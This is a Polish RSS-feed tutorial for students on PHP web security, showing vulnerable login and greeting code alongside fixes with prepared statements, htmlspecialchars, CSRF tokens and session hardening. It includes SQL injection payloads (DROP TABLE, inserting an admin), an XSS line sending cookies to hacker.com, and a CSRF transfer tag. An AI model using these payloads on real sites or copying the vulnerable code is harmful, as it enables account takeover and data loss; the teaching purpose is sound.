<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>php - Kama Kaczmarek</title>
	<atom:link href="https://kamakaczmarek.net/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>https://kamakaczmarek.net/tag/php/</link>
	<description>Strona z materiałami dla uczniów i nauczycieli</description>
	<lastBuildDate>Mon, 02 Nov 2026 08:52:10 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>22. PHP – bezpieczeństwo aplikacji webowych</title>
		<link>https://kamakaczmarek.net/php-bezpieczenstwo-aplikacji-webowych/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 28 May 2026 08:36:14 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[logowanie]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2350</guid>

					<description><![CDATA[<p>Bezpieczeństwo&#160;aplikacji&#160;webowych&#160;to&#160;najważniejszy&#160;aspekt&#160;tworzenia&#160;profesjonalnych&#160;systemów.&#160;Nawet&#160;najpiękniejszy&#160;kod nie&#160;ma&#160;sensu,&#160;jeśli&#160;pozwala&#160;hakerom&#160;ukraść&#160;dane&#160;użytkowników,&#160;przejąć&#160;konta&#160;lub&#160;zniszczyć&#160;bazę&#160;danych. Najczęstsze zagrożenia (OWASP Top 10): 1. SQL Injection &#8211; Wstrzykiwanie kodu SQL SQL Injection to atak polegający na wstawieniu złośliwego kodu SQL do zapytania, co pozwala: Przykład ataku &#8211; Logowanie Kod podatny na atak (NIGDY TAK NIE RÓB!): Co się stanie gdy haker wpisze: Zapytanie SQL stanie się: '1'='1'&#160;jest zawsze prawdą, więc haker [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-bezpieczenstwo-aplikacji-webowych/">22. PHP – bezpieczeństwo aplikacji webowych</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>Bezpieczeństwo&nbsp;aplikacji&nbsp;webowych</strong>&nbsp;to&nbsp;najważniejszy&nbsp;aspekt&nbsp;tworzenia&nbsp;profesjonalnych&nbsp;systemów.&nbsp;Nawet&nbsp;najpiękniejszy&nbsp;kod nie&nbsp;ma&nbsp;sensu,&nbsp;jeśli&nbsp;pozwala&nbsp;hakerom&nbsp;ukraść&nbsp;dane&nbsp;użytkowników,&nbsp;przejąć&nbsp;konta&nbsp;lub&nbsp;zniszczyć&nbsp;bazę&nbsp;danych.</p>



<h3 class="wp-block-heading">Najczęstsze zagrożenia (OWASP Top 10):</h3>



<ul class="wp-block-list">
<li><strong>SQL Injection</strong>&nbsp;&#8211; wstrzykiwanie złośliwego kodu SQL</li>



<li><strong>XSS (Cross-Site Scripting)</strong>&nbsp;&#8211; wstrzykiwanie kodu JavaScript</li>



<li><strong>CSRF (Cross-Site Request Forgery)</strong>&nbsp;&#8211; fałszywe żądania</li>



<li><strong>Session Hijacking</strong>&nbsp;&#8211; kradzież sesji użytkownika</li>



<li><strong>Weak Authentication</strong>&nbsp;&#8211; słabe zabezpieczenia logowania</li>
</ul>



<h2 class="wp-block-heading">1. SQL Injection &#8211; Wstrzykiwanie kodu SQL</h2>



<p class="wp-block-paragraph">SQL Injection to atak polegający na wstawieniu złośliwego kodu SQL do zapytania, co pozwala:</p>



<ul class="wp-block-list">
<li>Wykraść całą bazę danych</li>



<li>Usunąć wszystkie dane</li>



<li>Zmienić hasła użytkowników</li>



<li>Uzyskać dostęp administratora</li>
</ul>



<h3 class="wp-block-heading">Przykład ataku &#8211; Logowanie</h3>



<p class="wp-block-paragraph"><strong>Kod podatny na atak (NIGDY TAK NIE RÓB!):</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
//...
// NIEBEZPIECZNY KOD!
$username = $_POST&#91;'username'];
$password = $_POST&#91;'password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($db, $query);

if (mysqli_num_rows($result) &gt; 0) {
    echo "Zalogowano!";
}
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Co się stanie gdy haker wpisze:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Username: admin' OR '1'='1
Password: cokolwiek</code></pre>



<p class="wp-block-paragraph"><strong>Zapytanie SQL stanie się:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'cokolwiek'</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code>&nbsp;jest zawsze prawdą, więc haker zostanie zalogowany jako admin&nbsp;<strong>bez znajomości hasła</strong>!</p>



<h3 class="wp-block-heading">Inne przykłady ataków SQL Injection</h3>



<p class="wp-block-paragraph"><strong>1. Wyciągnięcie całej bazy danych:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Username: admin'; SELECT * FROM users; --</code></pre>



<p class="wp-block-paragraph"><strong>2. Usunięcie tabeli:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Username: admin'; DROP TABLE users; --</code></pre>



<p class="wp-block-paragraph"><strong>3. Dodanie admina:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'hack123', 'admin'); --</code></pre>



<h3 class="wp-block-heading">Ochrona przed SQL Injection &#8211; Prepared Statements</h3>



<p class="wp-block-paragraph"><strong>MySQLi &#8211; Prepared Statements:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // BEZPIECZNE - Prepared Statement
    $stmt = $db-&gt;prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt-&gt;bind_param("s", $username);
    $stmt-&gt;execute();
    $wynik = $stmt-&gt;get_result();
    $user = $wynik-&gt;fetch_assoc();
    $stmt-&gt;close();
    
    if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}

$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>PDO &#8211; Prepared Statements:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        
        $username = trim($_POST&#91;'username'] ?? '');
        $password = $_POST&#91;'password'] ?? '';
        
        // BEZPIECZNE - Prepared Statement
        $stmt = $pdo-&gt;prepare("SELECT id, username, password FROM users WHERE username = :username");
        $stmt-&gt;execute(&#91;'username' =&gt; $username]);
        $user = $stmt-&gt;fetch();
        
        if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
            echo "Zalogowano pomyślnie!";
        } else {
            echo "Nieprawidłowy login lub hasło";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h3 class="wp-block-heading">Zasady ochrony przed SQL Injection:</h3>



<ul class="wp-block-list">
<li>ZAWSZE używaj Prepared Statements</li>



<li>Waliduj typy danych&nbsp;&#8211; rzutuj na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>&nbsp;dla liczb</li>



<li>Escapuj specjalne znaki&nbsp;&#8211;&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_real_escape_string()</code>&nbsp;(ostateczność)</li>



<li>NIGDY nie łącz SQL przez konkatenację z danymi użytkownika</li>
</ul>



<h2 class="wp-block-heading">2. XSS (Cross-Site Scripting) &#8211; Wstrzykiwanie JavaScript</h2>



<p class="wp-block-paragraph">XSS to atak polegający na wstrzyknięciu złośliwego kodu JavaScript do strony, który wykona się w przeglądarce innych użytkowników.</p>



<p class="wp-block-paragraph"><strong>Skutki ataku XSS:</strong></p>



<ul class="wp-block-list">
<li>Kradzież cookies i sesji</li>



<li>Przekierowanie na fałszywe strony</li>



<li>Zmiana treści strony</li>



<li>Kradzież danych z formularzy</li>
</ul>



<h3 class="wp-block-heading">Przykład ataku XSS</h3>



<p class="wp-block-paragraph"><strong>Kod podatny na atak:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// NIEBEZPIECZNY KOD!
$username = $_GET&#91;'username'];
echo "Witaj, $username!";
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Haker wpisuje w URL:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">strona.php?username=&lt;script&gt;alert('Hacked!')&lt;/script&gt;</code></pre>



<p class="wp-block-paragraph">JavaScript się wykona i użytkownik zobaczy alert &#8222;Hacked!&#8221;.</p>



<h3 class="wp-block-heading">Bardziej niebezpieczny przykład &#8211; Kradzież sesji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">strona.php?username=&lt;script&gt;document.location='http://hacker.com/steal.php?cookie='+document.cookie&lt;/script&gt;</code></pre>



<p class="wp-block-paragraph">Ten kod wysyła cookies użytkownika (w tym ID sesji) do hakera!</p>



<h3 class="wp-block-heading">Ochrona przed XSS &#8211; htmlspecialchars()</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// BEZPIECZNY KOD
$username = $_GET&#91;'username'] ?? 'Gość';

// Escapujemy specjalne znaki HTML
$safe_username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

echo "Witaj, {$safe_username}!";
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Co robi&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>?</strong></p>



<p class="wp-block-paragraph">Zamienia:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">&gt;</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;gt;</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">"</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;quot;</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">'</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;#039;</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;</code>&nbsp;na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;amp;</code></li>
</ul>



<p class="wp-block-paragraph">Dzięki temu&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;script&gt;</code>&nbsp;staje się&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;script&amp;gt;</code>&nbsp;i jest wyświetlane jako tekst, nie kod!</p>



<h3 class="wp-block-heading">Przykład &#8211; Komentarze na blogu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'blog');
$db-&gt;set_charset('utf8mb4');

// Dodawanie komentarza
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $author = trim($_POST&#91;'author'] ?? '');
    $comment = trim($_POST&#91;'comment'] ?? '');
    
    if (!empty($author) &amp;&amp; !empty($comment)) {
        
        // Zapisujemy RAW dane do bazy (NIE escapujemy przy zapisie!)
        $stmt = $db-&gt;prepare("INSERT INTO comments (author, comment, created_at) VALUES (?, ?, NOW())");
        $stmt-&gt;bind_param("ss", $author, $comment);
        
        if ($stmt-&gt;execute()) {
            header("Location: komentarze.php");
            exit;
        }
        
        $stmt-&gt;close();
    }
}

// Wyświetlanie komentarzy
$stmt = $db-&gt;prepare("SELECT * FROM comments ORDER BY created_at DESC LIMIT 10");
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$komentarze = $wynik-&gt;fetch_all(MYSQLI_ASSOC);
$stmt-&gt;close();
$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Komentarze&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .comment {
            background: #f4f4f4;
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
            border-left: 4px solid #667eea;
        }
        .comment-author {
            font-weight: bold;
            color: #667eea;
        }
        .comment-text {
            margin-top: 10px;
            color: #333;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input, textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Komentarze na blogu&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;div class="form-group"&gt;
        &lt;input type="text" name="author" placeholder="Twoje imię" required&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
        &lt;textarea name="comment" placeholder="Twój komentarz" rows="5" required&gt;&lt;/textarea&gt;
    &lt;/div&gt;
    &lt;button type="submit"&gt;Dodaj komentarz&lt;/button&gt;
&lt;/form&gt;

&lt;h2&gt;Najnowsze komentarze:&lt;/h2&gt;

&lt;?php foreach ($komentarze as $koment): ?&gt;
    &lt;div class="comment"&gt;
        &lt;div class="comment-author"&gt;
            &lt;?= htmlspecialchars($koment&#91;'author']) ?&gt;
        &lt;/div&gt;
        &lt;div class="comment-text"&gt;
            &lt;?= nl2br(htmlspecialchars($koment&#91;'comment'])) ?&gt;
        &lt;/div&gt;
        &lt;small&gt;&lt;?= date('d.m.Y H:i', strtotime($koment&#91;'created_at'])) ?&gt;&lt;/small&gt;
    &lt;/div&gt;
&lt;?php endforeach; ?&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Zasady ochrony przed XSS:</h3>



<ul class="wp-block-list">
<li>ZAWSZE używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>&nbsp;przy wyświetlaniu danych od użytkownika</li>



<li>Od PHP 8.1 <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars($tekst)</code> koduje też apostrofy i cudzysłowy (w starszych wersjach dodaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENT_QUOTES, 'UTF-8'</code>).</li>



<li>Ustaw charset na UTF-8</li>



<li>Waliduj dane wejściowe&nbsp;(whitelist, nie blacklist)</li>



<li>Użyj Content Security Policy (CSP)&nbsp;&#8211; o tym dalej</li>
</ul>



<p class="wp-block-paragraph">A tutaj można się sprawdzić: <a href="https://xss-game.appspot.com/">https://xss-game.appspot.com/</a></p>



<h2 class="wp-block-heading">3. CSRF (Cross-Site Request Forgery) &#8211; Fałszywe żądania</h2>



<p class="wp-block-paragraph">CSRF to atak polegający na zmuszeniu zalogowanego użytkownika do wykonania nieautoryzowanej akcji.</p>



<p class="wp-block-paragraph"><strong>Przykład ataku:</strong> Użytkownik jest zalogowany na&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bank.pl</code>. Haker wysyła mu e-mail z linkiem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="http://bank.pl/transfer.php?to=hacker&amp;amount=10000"&gt;</code></pre>



<p class="wp-block-paragraph">Gdy użytkownik otworzy e-mail, przeglądarka automatycznie wyśle żądanie do&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bank.pl</code>&nbsp;<strong>z jego cookies/sesją</strong>, co wykona przelew!</p>



<h3 class="wp-block-heading">Ochrona przed CSRF &#8211; Tokeny</h3>



<ul class="wp-block-list">
<li>Przy wyświetleniu formularza generujemy unikalny token</li>



<li>Token zapisujemy w sesji</li>



<li>Token dodajemy jako ukryte pole w formularzu</li>



<li>Przy odbiorze formularza sprawdzamy czy token się zgadza</li>
</ul>



<h3 class="wp-block-heading">Implementacja tokenów CSRF</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Funkcja generująca token CSRF
function generateCSRFToken() {
    if (empty($_SESSION&#91;'csrf_token'])) {
        $_SESSION&#91;'csrf_token'] = bin2hex(random_bytes(32)); // bezpieczny generator losowy
    }
    return $_SESSION&#91;'csrf_token'];
}

// Funkcja sprawdzająca token CSRF
function verifyCSRFToken($token) {
    if (!isset($_SESSION&#91;'csrf_token'])) {
        return false;
    }
    return hash_equals($_SESSION&#91;'csrf_token'], $token); //bezpieczne porównywanie (zapobiega timing attack)
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$errors = &#91;];
$success = false;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź token CSRF
    $csrf_token = $_POST&#91;'csrf_token'] ?? '';
    
    if (!verifyCSRFToken($csrf_token)) {
        die('Nieprawidłowy token CSRF! Możliwa próba ataku.');
    }
    
    // Token poprawny - przetwarzamy formularz
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    
    if (!empty($username) &amp;&amp; !empty($email)) {
        
        $stmt = $db-&gt;prepare("INSERT INTO users (username, email, created_at) VALUES (?, ?, NOW())");
        $stmt-&gt;bind_param("ss", $username, $email);
        
        if ($stmt-&gt;execute()) {
            $success = true;
            
            // Usuń token po użyciu (jednorazowy)
            unset($_SESSION&#91;'csrf_token']);
        }
        
        $stmt-&gt;close();
    }
}

// Generuj nowy token dla formularza
$csrf_token = generateCSRFToken();

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja z ochroną CSRF&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Rejestracja użytkownika&lt;/h1&gt;

&lt;?php if ($success): ?&gt;
    &lt;div class="success"&gt;
        Użytkownik został zarejestrowany pomyślnie!
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;form method="POST"&gt;
    &lt;!-- Ukryty token CSRF --&gt;
    &lt;input type="hidden" name="csrf_token" value="&lt;?= htmlspecialchars($csrf_token) ?&gt;"&gt;
    
    &lt;div class="form-group"&gt;
        &lt;label&gt;Username:&lt;/label&gt;
        &lt;input type="text" name="username" required&gt;
    &lt;/div&gt;
    
    &lt;div class="form-group"&gt;
        &lt;label&gt;Email:&lt;/label&gt;
        &lt;input type="email" name="email" required&gt;
    &lt;/div&gt;
    
    &lt;button type="submit"&gt;Zarejestruj&lt;/button&gt;
&lt;/form&gt;

&lt;p&gt;&lt;small&gt;Token CSRF: &lt;?= substr($csrf_token, 0, 16) ?&gt;...&lt;/small&gt;&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Zasady ochrony przed CSRF:</h3>



<ul class="wp-block-list">
<li>Używaj tokenów CSRF dla wszystkich formularzy zmieniających dane</li>



<li>Token musi być unikalny i nieprzewidywalny</li>



<li>Sprawdzaj token po stronie serwera</li>



<li>Token powinien być przypisany do sesji użytkownika</li>



<li>Używaj metody POST dla operacji zmieniających dane&nbsp;(nigdy GET!)</li>
</ul>



<h2 class="wp-block-heading">4. Session Hijacking i Session Fixation</h2>



<h3 class="wp-block-heading">Session Hijacking &#8211; Kradzież sesji</h3>



<p class="wp-block-paragraph"><strong>Czym jest?</strong>&nbsp;Przejęcie ID sesji innego użytkownika, co pozwala hakerowi zalogować się jako ten użytkownik.</p>



<ul class="wp-block-list">
<li>Haker przechwytuje ID sesji (przez XSS, packet sniffing, itp.)</li>



<li>Ustawia to ID w swojej przeglądarce</li>



<li>Serwer myśli, że to legalny użytkownik</li>
</ul>



<h3 class="wp-block-heading">Ochrona przed Session Hijacking</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Funkcja regenerująca ID sesji
function secureSession() {
    
    // Regeneruj ID sesji przy każdym logowaniu
    if (!isset($_SESSION&#91;'initiated'])) {
        session_regenerate_id(true);
        $_SESSION&#91;'initiated'] = true;
    }
    
    // Sprawdź IP użytkownika
    if (!isset($_SESSION&#91;'user_ip'])) {
        $_SESSION&#91;'user_ip'] = $_SERVER&#91;'REMOTE_ADDR'];
    } elseif ($_SESSION&#91;'user_ip'] !== $_SERVER&#91;'REMOTE_ADDR']) {
        // IP się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Sprawdź User Agent
    if (!isset($_SESSION&#91;'user_agent'])) {
        $_SESSION&#91;'user_agent'] = $_SERVER&#91;'HTTP_USER_AGENT'];
    } elseif ($_SESSION&#91;'user_agent'] !== $_SERVER&#91;'HTTP_USER_AGENT']) {
        // User Agent się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Timeout sesji (30 minut)
    if (isset($_SESSION&#91;'last_activity']) &amp;&amp; (time() - $_SESSION&#91;'last_activity'] &gt; 1800)) {
        session_unset();
        session_destroy();
        header("Location: logowanie.php?timeout=1");
        exit;
    }
    $_SESSION&#91;'last_activity'] = time();
}

// Wywołaj przy każdym żądaniu
secureSession();
?&gt;</code></pre>



<h3 class="wp-block-heading">Session Fixation &#8211; Narzucenie ID sesji</h3>



<p class="wp-block-paragraph"><strong>Czym jest?</strong>&nbsp;Haker narzuca swoje ID sesji ofierze, a gdy ofiara się zaloguje, haker również ma dostęp do konta.</p>



<p class="wp-block-paragraph"><strong>Ochrona:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // Sprawdzenie użytkownika w bazie...
    // (kod z poprzednich przykładów)
    
    if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
        
        // REGENERUJ ID SESJI PRZY LOGOWANIU!
        session_regenerate_id(true);
        
        // Zapisz dane użytkownika
        $_SESSION&#91;'user_id'] = $user&#91;'id'];
        $_SESSION&#91;'username'] = $user&#91;'username'];
        $_SESSION&#91;'logged_in'] = true;
        
        // Zapisz fingerprint
        $_SESSION&#91;'user_ip'] = $_SERVER&#91;'REMOTE_ADDR'];
        $_SESSION&#91;'user_agent'] = $_SERVER&#91;'HTTP_USER_AGENT'];
        
        header("Location: panel.php");
        exit;
    }
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Bezpieczna konfiguracja sesji w php.ini</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">; Używaj tylko cookies (nie URL)
session.use_only_cookies = 1

; Niedostępne dla JavaScript
session.cookie_httponly = 1

; Tylko przez HTTPS (w produkcji)
session.cookie_secure = 1

; Ochrona przed CSRF
session.cookie_samesite = "Strict"

; Długość ID sesji
session.sid_length = 48

; Bezpieczny generator
session.sid_bits_per_character = 6</code></pre>



<p class="wp-block-paragraph"><strong>W PHP:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Konfiguracja sesji
ini_set('session.use_only_cookies', 1);
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); // Tylko dla HTTPS!
ini_set('session.cookie_samesite', 'Strict');

session_start();
?&gt;</code></pre>



<h2 class="wp-block-heading">5. Password Hashing &#8211; Bezpieczne hasła</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // Walidacja hasła
    if (strlen($password) &lt; 8) {
        $errors&#91;] = "Hasło musi mieć min. 8 znaków";
    }
    
    if (empty($errors)) {
        
        // Hashuj hasło (automatycznie używa bcrypt + salt)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // Zapisz hash do bazy
        $stmt = $db-&gt;prepare("INSERT INTO users (username, password) VALUES (?, ?)");
        $stmt-&gt;bind_param("ss", $username, $password_hash);
        $stmt-&gt;execute();
        $stmt-&gt;close();
    }
}
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Hash wygląda tak:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$</code>&nbsp;&#8211; algorytm (bcrypt)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">10</code>&nbsp;&#8211; cost (2^10 iteracji)</li>



<li>Losowy salt + hash</li>
</ul>



<p class="wp-block-paragraph"><strong>Logowanie:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST&#91;'username'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    
    // Pobierz użytkownika z bazy
    $stmt = $db-&gt;prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt-&gt;bind_param("s", $username);
    $stmt-&gt;execute();
    $wynik = $stmt-&gt;get_result();
    $user = $wynik-&gt;fetch_assoc();
    $stmt-&gt;close();
    
    // Sprawdź hasło
    if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
        
        // Sprawdź czy hash wymaga aktualizacji
        if (password_needs_rehash($user&#91;'password'], PASSWORD_DEFAULT)) {
